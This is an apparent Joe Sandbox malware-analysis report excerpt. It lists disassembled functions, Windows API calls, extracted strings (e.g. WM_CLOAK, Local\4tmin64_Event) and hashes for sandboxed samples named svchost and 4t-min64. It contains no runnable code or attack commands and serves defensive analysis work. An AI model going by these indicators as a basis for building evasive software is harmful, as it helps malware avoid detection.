Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b3074ffe284d91f638c87374c6f4ffbe122223c615cfe0f3de58067210485ebd
Instruction ID: 6e16f87477f7161afbbd5de9e1da26f42304bf98b05db50a54c1d7656fc6333c
Opcode Fuzzy Hash: b3074ffe284d91f638c87374c6f4ffbe122223c615cfe0f3de58067210485ebd
Instruction Fuzzy Hash: 1141FEB5A0025C9FDB21EB69CC88BDEB7F9AB0A304F4452E5A508EB241D7749F84CF51

Function 03E36FFE Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c6005ed739661d01dea6441276eca1a3294f204f60782bacfa3415bf0da49b01
Instruction ID: e9c791cc88252ee74d97494cb11d79ca95c7573d2605a7727a1b0ddca8fdf16e
Opcode Fuzzy Hash: c6005ed739661d01dea6441276eca1a3294f204f60782bacfa3415bf0da49b01
Instruction Fuzzy Hash: 09411DB5A0025C9FDB21EB69CC88BDEB7F9AB0A204F4452E5A508EB241D7749F84CF51

Function 03E37D24 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000809,00000002,?,00000080,?), ref: 03E37E1E
GetThreadLocale.KERNEL32 ref: 03E37D4E

Part of subcall function 03E37CAC: GetCPInfo.KERNEL32(00000000,?), ref: 03E37CC5

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: c70e154ea09bcc56bd44360409151a74330964548f19a32559b5f9b660e9ee15
Instruction ID: 8a3635915a1a97aaf4e60be28f549a06e74f8ee2f72af26dfd71c7dd739c9626
Opcode Fuzzy Hash: c70e154ea09bcc56bd44360409151a74330964548f19a32559b5f9b660e9ee15
Instruction Fuzzy Hash: 3F3107A15013A8DAD722EB77AC0D3A777F8EB83208F485359D5848F2C5DB354844CB61

Function 03E319E4 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E319FB
RtlEnterCriticalSection.KERNEL32(03E3D5C4,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A0E
LocalAlloc.KERNEL32(00000000,00000FF8,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A38
RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E31AB3,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31AA6

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 4a09a9f231d30f3a6c70d17773b8393155694d445eccd379f159ede3b56248d9
Instruction ID: b54c4fee93dce392a8a5e38fa1fec6ba3a19def9542bdaf68c07070a1b5fe2a0
Opcode Fuzzy Hash: 4a09a9f231d30f3a6c70d17773b8393155694d445eccd379f159ede3b56248d9
Instruction Fuzzy Hash: 611190B8A48218EFDB15FF66C80DB5ABBE0EB47705F00A36CE0148B280C6B45901DB54

Function 03E39238 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?), ref: 03E39266
SetLastError.KERNEL32(00000000,?), ref: 03E39273
GetModuleHandleExA.KERNEL32(00000006,03E39238,?,00000000,?), ref: 03E39283
GetLastError.KERNEL32(00000006,03E39238,?,00000000,?), ref: 03E392A8

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: 2487f92d6b94e1f8fe7daf521ec0e26ce1a6626155e602586cd1e3c906f4f952
Instruction ID: 1177c059057d9c621da7baba1877315f62e829791363815a48b1181736406eb0
Opcode Fuzzy Hash: 2487f92d6b94e1f8fe7daf521ec0e26ce1a6626155e602586cd1e3c906f4f952
Instruction Fuzzy Hash: 45113C78E08748AFCB40DFA5C484AADFBF5BF49220F1596D5D854AB342E3B09A40CF90

Function 03E3A45C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(03E3A53E,?), ref: 03E3A46D
GetSystemMetrics.USER32(00000021), ref: 03E3A480
GetSystemMetrics.USER32(00000033), ref: 03E3A49B
GetSystemMetrics.USER32(00000004), ref: 03E3A4A7

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: MetricsSystem$InfoWindow
String ID:
API String ID: 2832802444-0
Opcode ID: 215f2ad0ab65d35a76683250377d077abb9d391f45812362298032b999570b6a
Instruction ID: 47bc49de90ed04594d7011a49ecd0d5b3dc78756596661c0c458e1276d7dfbc2
Opcode Fuzzy Hash: 215f2ad0ab65d35a76683250377d077abb9d391f45812362298032b999570b6a
Instruction Fuzzy Hash: C5F05475D0130DAFDB40EFE5C94D6DDB7B8AF16250F1053A5A544EF280E6319A84CB51

Function 03E39E3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25windowCOMMON

Download Yara Rule

APIs

Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

GetCurrentProcessId.KERNEL32(03E39DA2,?,?,03E39DA2), ref: 03E39E63
PostMessageA.USER32(?,?,00000000,03E39DA2), ref: 03E39E7B

Strings

PostMessageA, xrefs: 03E39E48

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc$CurrentMessagePostProcess
String ID: PostMessageA
API String ID: 1656095895-3140657398
Opcode ID: d50799e23a21cc18d2e5f0fcfa6d1ae3e6cacaf89010114c09e6911f04f6306b
Instruction ID: d037a2f3ad6bdc812db245db23fed1fc707427996a8da4dd29a116643399cfdf
Opcode Fuzzy Hash: d50799e23a21cc18d2e5f0fcfa6d1ae3e6cacaf89010114c09e6911f04f6306b
Instruction Fuzzy Hash: 93E0C9796053089FCB40EBDAD84CE96B3F9E74A615B142640F544DB252C775A840CB50

Analysis Process: 4t-min64.exePID: 2020, Parent PID: 2476COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 004205E0 Relevance: .1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54eab309cbbcbc91f1aa1d7f9abd2083cabef43e0bd7cfff89c20f58ca3136d8
Instruction ID: 290ce69f6ad547394df2190a7b0ffa40d42e849bfb47aab1bc2bb3649a810347
Opcode Fuzzy Hash: 54eab309cbbcbc91f1aa1d7f9abd2083cabef43e0bd7cfff89c20f58ca3136d8
Instruction Fuzzy Hash: 1E51C372B01B209CE760DB61E8853DD37B4A74834CF5005EADE4C66B9ADF788AC4CB94

Function 00416640 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc787364672716e01483424d96f57002e17810921aec0b18d60d0a0cd81e72d8
Instruction ID: 4f6dbd76bdb7f1b5ad7224de7983185db1d084cda7bd2f51bdb9a9fae9244029
Opcode Fuzzy Hash: cc787364672716e01483424d96f57002e17810921aec0b18d60d0a0cd81e72d8
Instruction Fuzzy Hash: 4EF0C47660878486D710EB86E0807AEFB61F7C5794F500026FA8993B99CB7CD495CF84

Function 00401BE0 Relevance: 2.7, Strings: 2, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

open, xrefs: 00401D5C
4t-min.exe, xrefs: 00401D52

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: 4t-min.exe$open
API String ID: 0-538968879
Opcode ID: 9e3ba6fc18f9c601456f46438dcf903f9fe708c7d73af095027579e4a22aa9d1
Instruction ID: 048829b1750ea30ec6b9ad19fa6e98bbf4dfb500dd66edc7954380674b943fd3
Opcode Fuzzy Hash: 9e3ba6fc18f9c601456f46438dcf903f9fe708c7d73af095027579e4a22aa9d1
Instruction Fuzzy Hash: B3B11B31701B1088EB60AB32EC5539A33B5B74474CF4041BADE4D677E6DF398A84CB9A

Function 100015D0 Relevance: 2.6, Strings: 2, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WM_CLOAK, xrefs: 100016E4
WM_UNCLOAK, xrefs: 100016FF

Memory Dump Source

Source File: 0000002B.00000002.21462295127.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 0000002B.00000002.21462183036.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462411468.0000000010017000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462514042.0000000010018000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462603508.0000000010019000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462702873.000000001001A000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462811966.000000001001B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462902539.0000000010020000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_10000000_4t-min64.jbxd

Similarity

API ID:
String ID: WM_CLOAK$WM_UNCLOAK
API String ID: 0-2187480440
Opcode ID: 77afcf97e8796b09d22dd2592e6b4fc19c23d6960b881a137ea3c6ffd614e2e1
Instruction ID: 999cba4f9fcf976bc5d07be9782da9f7193d036dabe909fa0d71f8e84e529c46
Opcode Fuzzy Hash: 77afcf97e8796b09d22dd2592e6b4fc19c23d6960b881a137ea3c6ffd614e2e1
Instruction Fuzzy Hash: A7519D397096508AFB00DBA0D8913DE37B1E7847C8F548125EE4D5B7AEDF38E88083A1

Function 004202A0 Relevance: 2.6, Strings: 2, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Local\4tmin64_ErrStr, xrefs: 0042034A
Local\4tmin64_Event, xrefs: 004202E5

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: Local\4tmin64_ErrStr$Local\4tmin64_Event
API String ID: 0-3739993184
Opcode ID: e3a6706803a1db87bed50e46e47df68a2f70a62d52aab4f4d321d5353f545205
Instruction ID: 03a317ca1de5e8ead3b8f384236de183a8fe24052a5e299b0a5709495301a847
Opcode Fuzzy Hash: e3a6706803a1db87bed50e46e47df68a2f70a62d52aab4f4d321d5353f545205
Instruction Fuzzy Hash: 91310776B01F1085EB00ABAAE89139E37B1F749B8CF44503ADE4D67B99DF79C4448389

Function 0041EA20 Relevance: 1.5, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

YA, xrefs: 0041EAE3

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: YA
API String ID: 0-3817804567
Opcode ID: 7c37f818e6579aba79f20fe4d263dc83c5e9d3c9e340bcd68e43678b4630cad1
Instruction ID: a6299225e11e20cb6ac6a56ce1bd21100c4ffddc1d6504bf37ad6a58a17c9bfe
Opcode Fuzzy Hash: 7c37f818e6579aba79f20fe4d263dc83c5e9d3c9e340bcd68e43678b4630cad1
Instruction Fuzzy Hash: 5EA11C36B10B1188EB60EB72E8913DD3374A74574CF4000AADE4D67B9ADF398AC5CB95

Function 0041ED5C Relevance: 1.4, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

YA, xrefs: 0041EAE3

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: YA
API String ID: 0-3817804567
Opcode ID: 557453676b350d0b97389df703e068f10effedf945b835c60189d1292fd4a5ac
Instruction ID: 1ab5b7e434620d764e599b9e20e58f9a9580112ce594b4d466c3e934fe10f47f
Opcode Fuzzy Hash: 557453676b350d0b97389df703e068f10effedf945b835c60189d1292fd4a5ac
Instruction Fuzzy Hash: DA619936B01B2198EB60EB72D8913DD33B5A74474CF4000AADE4D67B99DF388A85CB95

Function 004372A0 Relevance: 1.4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 004372B3, 004372C7, 004372E3, 004372EB, 004372FF, 0043731F, 00437361, 0043736E, 0043737F, 004373F6, 00437403, 00437414, 00437456, 004373C1

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-773618204
Opcode ID: ed20fd3632b071b46850e4f7b446b20335ad902623509184ea2b2be672880985
Instruction ID: 6726f19d4b5b664fb53e683bf561fc5445b49bb23f58b1119d541ff567eee7bb
Opcode Fuzzy Hash: ed20fd3632b071b46850e4f7b446b20335ad902623509184ea2b2be672880985
Instruction Fuzzy Hash: 45510FA6B08B9489EB24CBA6D4903AD3BB1F348B88F045857DF9D67B59CF38C240C344

Function 0043729F Relevance: 1.3, Strings: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 004372B3, 004372C7, 004372E3, 004372EB, 00437361, 0043736E, 0043737F, 004373F6, 00437403, 00437414, 00437456, 004373C1

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-773618204
Opcode ID: 9e017d02212fa924b036f7cfb1a594a3e2debe4d17dd86c5905d90b9890cd7e9
Instruction ID: ce419758dae999302d141915da77fc8b5e9666ea6da0b5dac6d581f141328edd
Opcode Fuzzy Hash: 9e017d02212fa924b036f7cfb1a594a3e2debe4d17dd86c5905d90b9890cd7e9
Instruction Fuzzy Hash: 694100A6B08B9489EB24CBA9D4903AD3FB1F349B88F045856DF9D67B59CF38C144C344

Function 10014380 Relevance: .2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.21462295127.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 0000002B.00000002.21462183036.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462411468.0000000010017000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462514042.0000000010018000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462603508.0000000010019000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462702873.000000001001A000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462811966.000000001001B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462902539.0000000010020000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_10000000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
